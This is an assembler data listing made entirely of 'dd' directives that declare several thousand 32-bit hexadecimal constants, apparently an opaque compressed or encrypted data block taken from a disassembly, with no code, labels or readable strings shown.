		dd 0C8774A82h, 0F9EFB9B7h, 1428B60Fh, 85F8DD30h, 0F5E5B83Dh
		dd 0A2F7B2A6h, 6757B5FAh, 0EFE618EDh, 0F731FB17h, 23B69B8Dh
		dd 74F5283Fh, 38546FD2h, 0A6DF6081h, 4A1B7ECh, 91E673D3h
		dd 0F48A143Fh, 0FE2EA54Ah, 32E2CCB3h, 53678260h, 62C065B2h
		dd 0FF6EB209h, 0C9F9DE6Ah, 595269C4h, 2759E300h, 0E08B6048h
		dd 8A8AA0B6h, 54BA58B4h, 1EF53216h, 311E196Eh, 0D1D962B6h
		dd 6213ABA6h, 5A0C9FA7h, 0BAD88501h, 472E4528h,	0FDB9A26Ch
		dd 0A820DA1Fh, 1EF50D9Bh, 0DDFE28E6h, 6E5C96BDh, 0E6AEC403h
		dd 0E01BF0F3h, 26D66DADh, 0AB22B72Ch, 0F0A5C4F5h, 0E328EE77h
		dd 23DCCC6Dh, 9F96151Ch, 331CA48Dh, 0B3C2834Eh,	0C768AFA1h
		dd 1B4F4494h, 0AC30ECBFh, 0DD4857BFh, 7BD6F303h, 963D93B4h
		dd 2090AFA7h, 0C7D2A278h, 26350F84h, 0B94444FAh, 5FACE9CDh
		dd 0D75B1FEBh, 0D8E87C65h, 5A1AEAB5h, 0C6E7D32Dh, 323622E7h
		dd 0C174329Fh, 96DC14Ah, 0D3EE215Fh, 0C7077608h, 1787E38Ch
		dd 43207912h, 3C210716h, 9A1CB293h, 0A8750336h,	29D47C01h
		dd 0E33355FCh, 0A39A8D76h, 135EB791h, 6F5A6B19h, 98EF1D50h
		dd 379E90E3h, 432E421Ah, 0D8CE249Eh, 9D07765Eh,	2F51B2Fh
		dd 69FAB01Bh, 0B229D3D4h, 17A11A89h, 163C6EA6h,	761DE7F4h
		dd 3ED42B95h, 0E3C2437Dh, 0AAD28C2Ah, 4B05C22Fh, 82284D2Ah
		dd 5CA6D0C9h, 0ADCD4E2Ah, 0FBF969EAh, 0D99528FAh, 0AC2CE52Dh
		dd 6C8325Bh, 1C8F597h, 2A6AB6D8h, 7A38200Ch, 5B10596Fh
		dd 98D241CFh, 0BA0FC1F1h, 91643902h, 0CF311Ah, 28A5EC47h
		dd 95242472h, 49D14BF7h, 0E697E819h, 500E1D95h,	7C46550Dh
		dd 48C840F4h, 3BEA89FFh, 46A164E7h, 9BFB1A94h, 0EA5EFDE4h
		dd 0D36F402Eh, 0F52339B7h, 620E4012h, 0D59B23F8h, 89DF757Fh
		dd 77F0D833h, 0BF9DA55Fh, 0F4AC2270h, 517DC52Eh, 0E5F98E88h
		dd 8E9F4D05h, 35CCAEDEh, 72273A8Ch, 4D4DAC70h, 6DAF1DF5h
		dd 0BFB95D1Ch, 31E20D7Ch, 9067B34Dh, 46FC1398h,	9B6E9721h
		dd 0D8A2824Dh, 0B283AF25h, 94660E54h, 0AF923Eh,	0C09FD2CEh
		dd 0DF8F36F8h, 22C8B5A6h, 55DBB577h, 447EFA93h,	0E94F85B8h
		dd 9FC909Bh, 9BC34F8Ah,	16B0C75h, 0C97DD751h, 7FDF94CDh
		dd 11339FD4h, 0CB0CB915h, 7431A068h, 0C3F549F0h, 0DE50D4D1h
		dd 1FC3C9B2h, 25BC3CE4h, 4CC8E037h, 0A2A69706h,	0FB33D9C3h
		dd 14A40F16h, 0A61DBF57h, 3F110FEAh, 9A1D9F49h,	2925D1Fh
		dd 85732719h, 0D305AAE1h, 3BD461C4h, 22970A50h,	20E93517h
		dd 18191BDFh, 3B6E18FFh, 5A4BA8AFh, 968A8D82h, 231D3158h
		dd 864768E1h, 9B355BCBh, 0CD940B8Ah, 36D24865h,	9362FDA3h
		dd 852B05ACh, 2853A0ADh, 0FFC7CAA6h, 0DAA20B86h, 372E5FE5h
		dd 0AEE655F0h, 0DB9551D9h, 0A9082EF2h, 86030D09h, 152862C2h
		dd 65CB8234h, 0B62C3EF7h
		dd 7271EDAh, 0F7749BCAh, 0C2E09DABh, 3EBBF482h,	3F5E9780h
		dd 5A9D72B0h, 69293952h, 977FF3BFh, 0FB17DC91h,	0E0F772F5h
		dd 9032BDA5h, 47CA6FB0h, 0F44119Ah, 4E4F84ABh, 2AB5A317h
		dd 33051641h, 0ABCFB493h, 5E0A02C3h, 0E54A6A2h,	0A23E3DDCh
		dd 0AD2990Ah, 0A78AAADEh, 5652328Fh, 67E8A588h,	151BC3ECh
		dd 0E5BD1B10h, 6CE508C0h, 6089A5B2h, 1BC58DB9h,	4CF7BEC5h
		dd 8C0C3923h, 0D69DD417h, 0E626F3h, 49B29239h, 0EFDAFEB4h
		dd 9E23A488h, 0AD563367h, 169B2E79h, 806D87A5h,	4337C347h
		dd 3BB3B0F7h, 9B48AF14h, 0FB1317F0h, 7DB6E383h,	0DC7A8DE4h
		dd 9572571Dh, 0E4F0DAE7h, 0B1C58DB0h, 0B9892885h, 7A42928h
		dd 0C52F3B95h, 0D4EDB16Bh, 0CB6CEF5Fh, 2090D820h, 527BD568h
		dd 7FCF7C53h, 80622ADEh, 122FF8ECh, 36F812E5h, 0EAEDC8F3h
		dd 0DFA14DB3h, 0EB464835h, 0E3A47C9Bh, 0E61C1B45h, 0A9A2A272h
		dd 48D3ED38h, 5A286517h, 9E61B1BDh, 0E05062DAh,	0C1BE6236h
		dd 0A963168h, 2A6EB2CEh, 9FF8359Fh, 626165E9h, 7A392D2Dh
		dd 1A087517h, 76FE5E46h, 0E02BE463h, 0B5493E00h, 0E633D164h
		dd 1F29CCDAh, 6341E8A3h, 0CDEAEEA4h, 0D2FD7615h, 8F75B6EBh
		dd 48EFB46Fh, 0F7AF785Dh, 0E2EAA0F2h, 0FCC1AB6Fh, 28921854h
		dd 0B548E4CCh, 0A5863433h, 5E3F356Ch, 6B7B8574h, 1705DDB6h
		dd 0F0F1BB98h, 4606B124h, 9C20D812h, 4C87F588h,	0F93C75D5h
		dd 0D2E624C3h, 8300CC01h, 1632FCDCh, 2E9DD194h,	0ADAF852Eh
		dd 29A93C6Ch, 0A0127601h, 5D7475FEh, 0E2707138h, 4FA780A0h
		dd 5767B3D0h, 0FC55038Bh, 0F042A4E8h, 33BAA5C8h, 0E15B99FFh
		dd 0D9E88913h, 0EA5E595Fh, 4BA56C5Fh, 4D4AD45Bh, 771AC85Ah
		dd 0A7D5645Ch, 7489DBC4h, 31DB022h, 76B3981Ah, 0F99F3332h
		dd 22F50032h, 4FC88F80h, 2C7610D1h, 9BD54E26h, 8EDBD965h
		dd 69FF2105h, 31C17385h, 5E82CCCCh, 9C120EB1h, 1C4B823Bh
		dd 0B86F8B8Eh, 4C4BD7C5h, 3386E282h, 1A2A536h, 202ADFE4h
		dd 0ABAC3E20h, 3124E9AFh, 1585C1A1h, 83A1C855h,	6BE05D60h
		dd 4E88BE2Bh, 5156F72Fh, 0BB6FC9C4h, 115A5992h,	189E9BEDh
		dd 0EA60D743h, 0EB146470h, 0AD30198Dh, 5BB13145h, 5DF5FF97h
		dd 0BC0D7AE6h, 0AD9EFC61h, 35FA6032h, 0D7D96CA7h, 30285707h
		dd 0A27B42E6h, 4EF13C5Bh, 0C7FCBA3Ch, 362FDBC3h, 35A768CCh
		dd 83B4FA71h, 0E04F648Ch, 0C05BD836h, 3BC3769Ah, 165C6E63h
		dd 6669EC93h, 0F0F25A1Fh, 943A0A21h, 8877D863h,	0F399D965h
		dd 2C20A6D8h, 0F6C1E9B2h, 7A48CD32h, 69B59CE5h,	4C0A9B5Fh
		dd 0C00AF767h, 0A732BD15h, 0F2BB3CA0h, 182E4DC7h, 2A9F4FD2h
		dd 77ACF5E3h, 0A9F31E79h, 0E3F23FEh, 0A7E5528Ah, 0FEA6BFA8h
		dd 0C777E080h, 559DC1EEh, 0A8318A6Ah, 6519EA87h, 0A8BBAE71h
		dd 15BA084Dh, 1377963Fh, 38AB588Bh, 0E51360Eh, 0A298990Dh
		dd 151F028Ah, 2B563064h, 4E1C4946h, 8E3B3479h, 2DA027D7h
		dd 0BB44BD15h, 69658712h, 111BA6F7h, 698F47FAh,	7E39E722h
		dd 6C4550D4h, 0C6BB6B4Fh, 0A68F529Fh, 0F5B43362h, 9D40C6BAh
		dd 0B25B12FAh, 0B82A1C7Fh, 6061216Ah, 0E60869C2h, 84F43A60h
		dd 0B51245DCh, 0C2102A1h, 0BBA4F87Fh, 21CEB085h, 0A4F76C7Bh
		dd 0C82FCE74h, 0FC03D762h, 316D37FDh, 9B655263h, 0CC597D4Ch
		dd 1619BB32h, 726DCC95h, 38ECAB71h, 20EB14E5h, 0BD2F2F4Ah
		dd 2668897Eh, 95794BA8h, 0BF3D94F7h, 0A7FFF5EDh, 2C717984h
		dd 342600A6h, 2BF2F490h, 0F5417FE0h, 92FE579h, 0C0E4F6E0h
		dd 0F040CC16h, 7C591973h, 7CA08D74h, 0F477E955h, 0C7141120h
		dd 0DA4E711Ch, 7470D63Ah, 0A1ADDC36h, 2DB41F3Bh, 4A6CCED0h
		dd 998C216Ah, 822C2E9Dh, 82484766h, 0E00F4362h,	71E379C1h
		dd 14B12442h, 4462EC60h, 8145982Ah, 0B85B6E36h,	0BFBA77B8h
		dd 6445E376h, 296ABDA4h, 0DC61805Eh, 95258EC4h,	0A6B9FCEDh
		dd 835D6B76h, 5AECB08Ch, 89A5615Ch, 0DAB52D50h,	309E1278h
		dd 5F58F742h, 0EDD0D46Bh, 4F12925Bh, 0C47ED78Eh, 130D38C2h
		dd 6524DE69h, 6961894Ah, 0C7F3921Bh, 793CD470h,	0C8615E2Dh
		dd 58C7E4AFh, 0AFDD3AB8h, 51F5F58Bh, 909CE1C7h,	709DA8C6h
		dd 66824E49h, 0FDB30CC7h, 0B632D006h, 501D1527h, 0C3BC5126h
		dd 21F3F1ACh, 1A7A6DD4h, 7424DFECh, 6F3E0422h, 4B28CA22h
		dd 9DEDDA3Bh, 2183C5FAh, 0B5E1160Eh, 74B459D9h,	0C5EE0C3Dh
		dd 0E6553003h, 51AFFE3Bh, 62635103h, 0B3067138h, 0E8E199A0h
		dd 37B3650Fh, 193D89F7h, 0B41AD31Bh, 0ECF3DDAh,	0A77E4E5Dh
		dd 0C7F2097Bh, 0F6348AEh, 0BE3E6FB4h, 0BEEB46C1h, 43F24D2Ch
		dd 0CCAE16ADh, 2D5A3F5Ch, 2E24B934h, 7F26740Bh,	0B9A262F5h
		dd 6082BEF5h, 132D51F3h, 1C921161h, 6896751Fh, 0B5B958C7h
		dd 9B9F0D55h, 0BF8B716Eh, 1102DAD6h, 7C904F93h,	0D3B07926h
		dd 4126693Fh, 0FD5DE856h, 0DA3CE29h, 0F915A99Ah, 0A988F76Fh
		dd 5A604BFCh, 34053E40h, 0E588BC6Ah, 70FCC30Fh,	0FBD4F0A8h
		dd 4AF8BC9Fh, 2CD62C7Ch, 0D8750B88h, 5BA9BAEDh,	0ED2D288Ah
		dd 76B8C195h, 4316311h,	0C848F3Eh, 7E6BB06Dh, 0F67D4E58h
		dd 56E3C841h, 878BC11Dh, 9C2C905Dh, 0C5A481E7h,	9591AB04h
		dd 0F9B4D12Eh, 0AC933A8Dh, 0BB9099E1h, 48B4C032h, 498C3F79h
		dd 66877853h, 815662FFh, 0D0D1BB0h, 9F2612E6h, 4ED1948Ah
		dd 5AB7A6CFh, 6192F713h, 0B9C3B879h, 83964E78h,	0D4512A2Ch
		dd 295D4CE5h, 3D904075h, 1CEE8CCAh, 6C49776h, 0E3B7E428h
		dd 508FC312h, 21847EBBh, 0D4FDED93h, 0E0826190h, 8C4D8CA4h
		dd 0ED4A385Fh, 0F3CF3BC6h, 8E90FB0Eh, 6E7B0D2Fh, 1AB2DB3Dh
		dd 0D14CBB7h, 0A79DEE58h, 85E2AFC3h, 2E2E2EEDh,	38403D74h
		dd 87E14A40h, 0D309B027h, 48453241h, 0A5E4D36h,	34E5BD31h
		dd 11F0167h, 0C93885C0h, 27A6ABBDh, 0BED7981Fh,	43301DAh
		dd 8CF8307Fh, 4085484Fh, 0C61F1642h, 7607A791h,	58E544D2h
		dd 0FFD4D3B6h, 0ED1D325Bh, 0CA806B9Dh, 0D10F0399h, 0AE95C322h
		dd 7BD149A9h, 158491EFh, 5C1876FCh, 0A900EDC0h,	0FAE75CBFh
		dd 0D5A8BD40h, 8200A70Ch, 0D47FD855h, 34C4FAD4h, 0ED182720h
		dd 2C4C35DEh, 537D26E6h, 0F9DF900Eh, 50C7F37Dh,	4892DD1Bh
		dd 70BF5849h, 64071BF6h, 0ABEADB46h, 0A8A9E81Ch, 0AE066201h
		dd 0CBB202D4h, 8D614ED5h, 0EFB3159Bh, 0B158887Fh, 0AA359005h
		dd 58E2071Ah, 190CB03Eh, 0DB950279h, 817FB75Bh,	74C38EFCh
		dd 4BA5B37h, 40E08964h,	537D8343h, 68633F38h, 0C5D60F71h
		dd 0C7F5C663h, 9D622A51h, 3B387561h, 416B5875h,	8D82552Dh
		dd 0DD17EA2Fh, 732BF132h, 54A6615Eh, 0DA086F31h, 0E0B250EDh
		dd 0DE8A85EAh, 0F6729EE1h, 9AE7358Eh, 6FFE8620h, 0DD65A716h
		dd 533CE7B3h, 581A1C64h, 0EC000C1Eh, 925431F8h,	0B88F0D5h
		dd 21E9B124h, 64C58B3Ch, 72A2CFAh, 523A459Dh, 40AA92AAh
		dd 3CA0FBB4h, 437480Eh,	0C0663F96h, 9A5C5662h, 6F8FFBF4h
		dd 0BC55FE81h, 60405CE0h, 2C7ADB26h, 0DBBA0A90h, 0E8652593h
		dd 0B594997Eh, 0F29C89A6h, 8C6962BEh, 5DBA1B66h, 0CA09D1EDh
		dd 3DB60BBAh, 1CBD50Ch,	0F2E40711h, 0BA61F5E5h,	352EC8DEh
		dd 0A27DB8ACh, 7C9ADA52h, 0F14E0151h, 538A6091h, 0ADC73C9Ah
		dd 0F7642F19h, 0F7028F13h, 8AAF1015h, 0FDCB65B7h, 9829F319h
		dd 0C35ECD16h, 684E82BFh, 0F61F0542h, 63C3DC3Ch, 85F32855h
		dd 12384E03h, 3AA4AD37h
		dd 2758FBCEh, 9C000AD2h, 458E5DF9h, 8F95FD75h, 690A1CAh
		dd 6DBB0684h, 16F2694h,	38C38C90h, 1A4C3CD0h, 0C66C4E6Ah
		dd 97D1E1E4h, 0E0FF769Eh, 0C0264BFCh, 0CC41BF94h, 4B0186CDh
		dd 0BFA1EA30h, 0BA6F5FD7h, 1C4D346Eh, 226CBE1Bh, 1206E6D7h
		dd 2F0F6160h, 0BE698FCh, 2C0882B4h, 9596FF94h, 0B56AF46Bh
		dd 6473D088h, 0B8DF33ADh, 0B2F5CC49h, 6EB39D3Bh, 0EF7F9952h
		dd 0C9F0FD56h, 0EDE1474Fh, 4F65D579h, 42FB9452h, 399147A0h
		dd 7C1226DDh, 687945C5h, 0C69C33D4h, 7452F62h, 7B07FEC8h
		dd 0CBAC845Ch, 0B520795Bh, 20F76211h, 0A2FA3CDDh, 0B3504C99h
		dd 98777D2Eh, 0C2970F61h, 6F341641h, 0C3C28E83h, 9C282B87h
		dd 317E7D71h, 3A8694BCh, 50538305h, 0EA61CA12h,	4E12534Bh
		dd 8F249DA1h, 85F1225h,	0DC039825h, 0F941E577h,	5E6F9E8Bh
		dd 6C6AC918h, 0F11A9FD5h, 0CE4D310Dh, 8230CE07h, 0E8C85A9Eh
		dd 12D4956Dh, 3CFA29F2h, 156C7D3Fh, 0ABC1C6C2h,	8B8E076Ch
		dd 0E6A3E4BFh, 0C12FDCDBh, 41F60596h, 25865914h, 463F94BAh
		dd 1DA87668h, 1BC7927h,	6103A2A7h, 0CE693BD6h, 668E7336h
		dd 0AACCF7C2h, 85916A38h, 7FC21EA1h, 6CCAE044h,	0C99B61CBh
		dd 0ABE61B62h, 0B2063F6Ah, 0FDC46DCFh, 0E91F210Ah, 723918B9h
		dd 1847D19h, 2EE8A6F9h,	389A6D9Eh, 0BBB2BFF8h, 5A45CEh
		dd 87BF46ABh, 0AA4C4ABFh, 35FED869h, 350A1C9Dh,	3A6F5961h
		dd 0B212A69Ch, 45DC36E3h, 706BA5D9h, 36A0D714h,	5C94DDE8h
		dd 0C16FE602h, 4B091421h, 0F8B33CCh, 2385CACEh,	22CD17BCh
		dd 4ADC7353h, 0F582E01h, 1248B55Ch, 0EFD5C894h,	0A3A8C0C5h
		dd 5ED09250h, 3B74ECB7h, 30E40CBBh, 0B5A552C5h,	46BAAFBDh
		dd 0A1106108h, 82B2BF70h, 8FA94B7h, 0D7A9A340h,	63D312BEh
		dd 1DF8D010h, 0A3601045h, 0BD8953C0h, 5FEC7E80h, 871074FCh
		dd 9B0999DEh, 15A70C10h, 16E7C6EDh, 0DF6B9467h,	0A36C4E13h
		dd 3F2DAD91h, 0DC7E21D3h, 558B1D5h, 230CA602h, 0D9BD688Eh
		dd 0F206C638h, 0A3A2010Bh, 972F72DDh, 0F3E5AA12h, 78BADD42h
		dd 0C2F212F5h, 7C4C8AF0h, 1110CD29h, 0E6064C60h, 0A978FC5Fh
		dd 0BABA685Bh, 8E56DE8Eh, 5B65EE9Fh, 2BD563EAh,	0CF374408h
		dd 0BCE6C8BFh, 2FB2097h, 86934F1Ch, 0DC41A216h,	0B3833253h
		dd 0F51AB9CAh, 0A056B850h, 0E57A6CF7h, 5B5C2CAFh, 0F13D7F0Bh
		dd 39B5515Eh, 42488C9Dh, 0B76B3363h, 0D83FB189h, 0C4D545D6h
		dd 9CCF2162h, 0B19A63BCh, 0EAE017ECh, 6549AA08h, 632FB89Ch
		dd 0C39827A2h, 957DB200h, 125B70D5h, 63C68F2Ah,	4241A884h
		dd 99F6DD66h, 0E48FF62Ah, 90339EFDh, 34D3B49Eh,	0D8CF89A2h
		dd 29E72158h, 66D50B08h, 0E0C594ECh, 0B37ACCB8h, 573C33DEh
		dd 0C89C62DBh, 743809BEh, 0FC733182h, 654C0E97h, 0EC6CE742h
		dd 0F5142474h, 3287CAA8h, 34A478Fh, 0D7F7EC17h,	400E39A1h
		dd 432888Ch, 46594B02h,	47AACA74h, 0B351FD83h, 0CF9DA563h
		dd 0D982E446h, 0D31770A1h, 0A5B5487Ah, 0AFD8E218h, 58B205AFh
		dd 0AB6A9356h, 1F000714h, 0E9D85679h, 0E8C0020Ch, 9BF600BCh
		dd 0D84AB8B0h, 0BC7599CDh, 0CA82CB06h, 5157812Fh, 0BBB4C7B8h
		dd 0B578F33Dh, 0A0CAC606h, 587FCCF1h, 0C2EE3409h, 106EEFBh
		dd 0DF6D45B4h, 6C168C5h, 151F30ABh, 3457A130h, 0BB17E668h
		dd 0F4475856h, 7A3FBB8Fh, 73BCA36Fh, 0F91E88D1h, 3C9616FAh
		dd 86A341C1h, 0A82D6D7Eh, 0CB12B798h, 50283F0Dh, 16322BB2h
		dd 3766E460h, 7781E3EFh, 7F13BBFh, 8C1C624h, 0D25F8A2Ch
		dd 0C11527F4h, 0C1E9210Ah, 86DF2F0Ah, 0E83876D4h, 399334BCh
		dd 88AEB04Ah, 441C5371h, 1E09F79Fh, 1FDD403Bh, 95D93ACCh
		dd 49F2D079h, 0AA21F993h, 0E246C112h, 6B8E5AB2h, 0A4AB444Ch
		dd 89AA1915h, 916F0EF3h, 0EAEB421Fh, 4D97F4F9h,	0D64FAB06h
		dd 0D978375Eh, 0ED00661Fh, 3718F715h, 9A8DEE95h, 4F8E7D1Eh
		dd 0ADACCD40h, 1DE154BFh, 8DEBF4FFh, 291E0448h,	5E32923Eh
		dd 5F9E5AA9h, 447B4893h, 824C4A9Dh, 0EF05F4B3h,	0E0286685h
		dd 0ED137E91h, 10F2D245h, 52DD18A2h, 0C7D1860Ah, 347F6D51h
		dd 0E5129BD6h, 0ECAD310Ah, 9F15F8FAh, 0CA0143A9h, 0B335D63Eh
		dd 4A013022h, 0BE22197Ah, 0CE406AB3h, 0ED78062Fh, 89FB2AFBh
		dd 0D45D4FA2h, 5FA222EDh, 2651DEF5h, 0BBC6B49Eh, 0C37AB7E2h
		dd 83F1943Bh, 8F933E7Dh, 5D48DE92h, 0BFC6B3A5h,	0E0947020h
		dd 0CBB05ABAh, 6A3E9D3Ch, 0D7E9D1E8h, 9B8D1963h, 21D7D979h
		dd 57E6335Ch, 63D56022h, 0FE65DCE2h, 7F5421C9h,	15C2DB8Dh
		dd 80DBECCCh, 0C0515760h, 8CE5DB63h, 1468E043h,	0E14BE46Ah
		dd 0C291E0C0h, 0A815890Fh, 292271A5h, 1592C862h, 0B977CD95h
		dd 938AF0B9h, 5A5AFF1Bh, 0B96E11Ah, 78A7C527h, 94912513h
		dd 58501DA3h, 2126ADF2h, 0EFE62A43h, 97DEC8DDh,	0A0B40C0Bh
		dd 9332E080h, 0EA836D09h, 11B95513h, 0BDDCA114h, 0C3F1988h
		dd 875FF3F0h, 64BAC285h, 0AB6E44D3h, 6FD7A364h,	7B360F2Fh
		dd 0D4A3D8EFh, 0BA34E036h, 0A144C347h, 10036A12h, 4CEAD03Eh
		dd 0E88932D3h, 5CE1B7C7h, 78C99477h, 968BB600h,	0E113CFB6h
		dd 6380CCA4h, 251E898Bh, 2BD50D45h, 89200B2Ch, 3FC537A8h
		dd 55AACF4Fh, 0EE74E216h, 0C3DE5420h, 8BC194F9h, 0ED27A828h
		dd 0A07240BFh, 0EA1BA018h, 0B1CFF6C3h, 1B87F702h, 0DB0FEFC5h
		dd 0B1EE548Eh, 0D86B2344h, 90A5B0Ch, 58B015E7h,	6AAB086Ch
		dd 49868F21h, 0B0997CD5h, 0B1352587h, 0F7A938Bh, 0BBFAA18h
		dd 0B9952BEh, 974334Dh,	0C64BE2B0h, 0E582D34Dh,	0DCE51B57h
		dd 0AF96AF1Bh, 4AF49386h, 25E82804h, 39114F5Ah,	66581FC9h
		dd 9C878501h, 2D6007Eh,	9A08F8FFh, 302EE73Fh, 0FCB17FAFh
		dd 0A214975Ah, 91F51983h, 0AE064E76h, 0BF8B3D5Dh, 535FBBBCh
		dd 96555B85h, 241D43E4h, 0E2902EEEh, 5902ADCCh,	27F64521h
		dd 0EF42799Eh, 6711E308h, 0ACE94362h, 52CB0C1Eh, 0B28C0D95h
		dd 910EA90Bh, 6A05479Ah, 7B7D4A10h, 97589DACh, 3A5D2924h
		dd 0E27FB2C2h, 0F0D10417h, 8BAC643h, 40A6063h, 3B4A66E4h
		dd 2E27809Ah, 0A2A9D59Eh, 0C3A26FAAh, 94A1354Bh, 9E68C98Bh
		dd 817B6D10h, 20EEF5E2h, 531E619h, 0CA66FD0Eh, 0DD27E73Eh
		dd 30A9129Dh, 9B199101h, 0A06CAB08h, 0AAE4C489h, 0BE0B7822h
		dd 0C65C7608h, 0CB28DDB3h, 8D3783BBh, 429DC3Bh,	0BFE03EB4h
		dd 0E79F7AE5h, 3814E4C9h, 0BD3818C8h, 0E7CE22A2h, 0A7CBF659h
		dd 0EE36C20Ch, 0FB190310h, 0CDBF0D9Dh, 0E9DAD456h, 4AB8CCC4h
		dd 0CABE08A9h, 0AC7A523h, 24BB090Ah, 7EE20115h,	0E44D4122h
		dd 20F7C63Ch, 0E225E9C5h, 45C7A6A3h, 0BAEC05A8h, 0B8238A1Ch
		dd 0B1EFB830h, 26794616h, 28E63D4h, 8D2AF218h, 8A0CD9BEh
		dd 0EBFEC1F3h, 46B462CAh, 898CA9A0h, 0B1DAD874h, 4C00A9B4h
		dd 52AC6074h, 57FDC4EBh, 3052EA1Ch, 64F4E697h, 15AAAF87h
		dd 0EBF4779Ah, 65583E0Ch, 399E5B47h, 37D46ABBh,	1CCFE4F4h
		dd 33673891h, 3BD111ABh, 3F0ABC44h, 0D7A23F32h,	8E564711h
		dd 7678A7B5h, 1784704Dh, 4B3A6265h, 66F26316h, 58A4AA80h
		dd 2E0F7E8Dh, 0DFF84F6h, 9C1A8222h, 61593A6Dh, 0A0F9315Ch
		dd 615F0786h, 9F1F5868h, 3A8555DBh, 0D12A51C8h,	406BD42Ch
		dd 0BE01075Fh, 29389B0Eh, 64DB3695h, 0E49DF42Bh, 42538027h
		dd 0D337318Dh, 6FE5E7D5h, 2F9A8ECCh, 6D015F72h,	58ECE6B9h
		dd 1E0A1E90h, 2CE3BB6Eh
		dd 4C907985h, 48F4B93Ch, 6E4BBB94h, 85AEDDD0h, 0AC96769Dh
		dd 0B8040BF1h, 20735DF8h, 75A28733h, 5BC69185h,	0B16338E5h
		dd 776F68B9h, 6260934Dh, 32124B47h, 8E64A9FEh, 507A73DBh
		dd 38A205E2h, 1770980Ch, 3683A6B0h, 93FB9941h, 4C980836h
		dd 0B7DF9C1Eh, 0ACDE6F7h, 81A6150Ch, 0D253FE72h, 7401CA09h
		dd 0FD95EC78h, 0F267D2CBh, 0CDD96D61h, 0CECB822Bh, 0E4964557h
		dd 0C9D799Fh, 777A7162h, 0C03942BDh, 9CAF356Eh,	9021AE62h
		dd 1C6214F6h, 34D512B1h, 718F14FBh, 0F9610E1Bh,	16B03B33h
		dd 0C0C8ADA5h, 0FBD98D66h, 5D9334E6h, 0B1DBA471h, 0C13F8AEFh
		dd 907A6D6Eh, 5DFAC97Fh, 0CA69F43Bh, 0C75F7FAFh, 42E0A278h
		dd 9406A1A6h, 0B21564C3h, 0B88A3D9Fh, 9CFE469Ch, 0BCFB61E0h
		dd 69F5752Fh, 0C47A16E4h, 66883E7Bh, 0D25AE868h, 6F9A438Ah
		dd 16EA8BBEh, 0F248CFEAh, 578ADE45h, 0F6C0D1DDh, 81BB7689h
		dd 0AF3878EDh, 85BF2Fh,	3532DDFBh, 82FDB240h, 51D9F9AFh
		dd 8E13B0E9h, 396F16A4h, 994FE22Dh, 186C07BDh, 13432192h
		dd 3B66149Eh, 9EFCE59h,	54B16F45h, 0BA6A2C08h, 0B2D28929h
		dd 0AD480843h, 0E567933Eh, 6D13FD1Ah, 0B0B0E0B9h, 8D88FCECh
		dd 0BE88833Dh, 4B69E3A1h, 0FFEC1CFAh, 960E5963h, 5F893D83h
		dd 4EF2DC5Bh, 0B093C7AFh, 2471C4F8h, 6BFAC69Bh,	0BF9F245Ch
		dd 8546E3B1h, 2B19DED4h, 51AE0F0Dh, 965EB40Bh, 14B0A00Ch
		dd 61F6796Dh, 3D66A7B5h, 0B00D88C2h, 4EC6279Eh,	0F8E5459Dh
		dd 48B634FAh, 0FB36CFA2h, 30931B92h, 0D53247A7h, 0BEBD147Bh
		dd 196FB597h, 0FBCA98CCh, 0FCCC4547h, 8A243111h, 89DED75Ah
		dd 74D54ED3h, 3AD1D05Ch, 7E43E51Eh, 3354E867h, 60D7B0A5h
		dd 0A4532DB0h, 166B351Ah, 37755919h, 7236B98Bh,	6ECBD5B2h
		dd 45908B2Ah, 0ADA84B55h, 475A3F3h, 9CE7081Ah, 0EE8BAC20h
		dd 23DB1C44h, 2BBBE177h, 12A2C936h, 0F6513D5Eh,	0F9355AEAh
		dd 0AEC1F934h, 0F91E8640h, 24F2C17Dh, 73437A64h, 0F9C73B6h
		dd 67E0F40Fh, 19B865h, 40AB4F26h, 33D76422h, 465CA6DBh
		dd 3B6AFB2Ah, 0D83CAA4h, 0D8DB8BA0h, 612332FAh,	1323AB1Ch
		dd 2C3D2535h, 0C6C26127h, 63DDA840h, 0FBED933Fh, 0C6C60Fh
		dd 6B699A69h, 0F1CECF2Ch, 0A87E264Dh, 3FDF7A7Eh, 5CAF64A5h
		dd 17860652h, 0FE4458A3h, 746ACBC0h, 0BA4B2E73h, 0A20C2C85h
		dd 7F9A7142h, 38AFA20Ah, 0A23DAAA8h, 92B900F6h,	730A3781h
		dd 0DACAF770h, 9BC32FDEh, 0D89D1C4Eh, 0AF51E3D2h, 392A8588h
		dd 0F497EA9Ah, 1DD0DA99h, 0C845CCE4h, 0CB38CCEh, 0BCD42CCFh
		dd 36AD9C6Bh, 0E3CF622Fh, 0BAE9C0D4h, 4F9DC80Fh, 52552C20h
		dd 32A4EE8Fh, 84CAFE72h, 95F307D5h, 0F0672B12h,	0E733CEDAh
		dd 81ED9A3Ah, 90B56368h, 6A6EBBF7h, 7B0A3A89h, 0FBD2A526h
		dd 0A5618FDCh, 3D29F467h, 39B05EF2h, 0B7B615C7h, 0FE8CD465h
		dd 4023C102h, 69DD1F3Dh, 3A2DF7F9h, 22D3857Eh, 1354D7A3h
		dd 6375E114h, 0D1D32EB4h, 2E600B81h, 19098E44h,	0E263E5A6h
		dd 872A4CDCh, 0F5C660D1h, 0F8AF00FCh, 0DC5DAE38h, 0AF89B387h
		dd 0C4A245EFh, 852F3D3Dh, 12B4D97Ah, 55E7AB5Fh,	0F27D5B62h
		dd 0CAFFB19Eh, 0EB55AAA5h, 22E675B2h, 0B44D4F04h, 0F96B1369h
		dd 0E2B843Ch, 0F2D3F95Fh, 0F15B82CEh, 22E48F11h, 538A00B9h
		dd 0C5AD61D8h, 0AD5E342Dh, 0FE0A160Ch, 13F03BC2h, 0E5C78081h
		dd 0F9741ACh, 0E423AAA4h, 213FE443h, 9A44E84Ah,	0EE5F5F3h
		dd 1886649Dh, 92CD0DD4h, 17B331BDh, 0E3B79591h,	36B3BE73h
		dd 5BFBE4A5h, 0F9AE8011h, 3A2683B6h, 81EEB35Ch,	1C7226BDh
		dd 234A1244h, 1204BD2Eh, 0B6C3C0A1h, 0BEA343C4h, 0DCDC4FD8h
		dd 0C12F3CBBh, 118542A4h, 0A6923E12h, 0AD17DBDh, 0CC3F62BFh
		dd 0F56ED31Ah, 7814E64h, 0BA644EE2h, 0FE0BC259h, 632A11A0h
		dd 0BF6B03D8h, 5C0DC267h, 8AD1C2DCh, 6FBB457Bh,	19206719h
		dd 1F69555Ch, 0D2E77E60h, 2272BA2Dh, 2D6E51C2h,	638EAD90h
		dd 6D3F59F3h, 37D6B122h, 0AD237678h, 27EFB399h,	7A0D4E23h
		dd 2F93BF4Ch, 9ED04D6Dh, 0BBF7B5BDh, 282AA6EFh,	48CADE4Ch
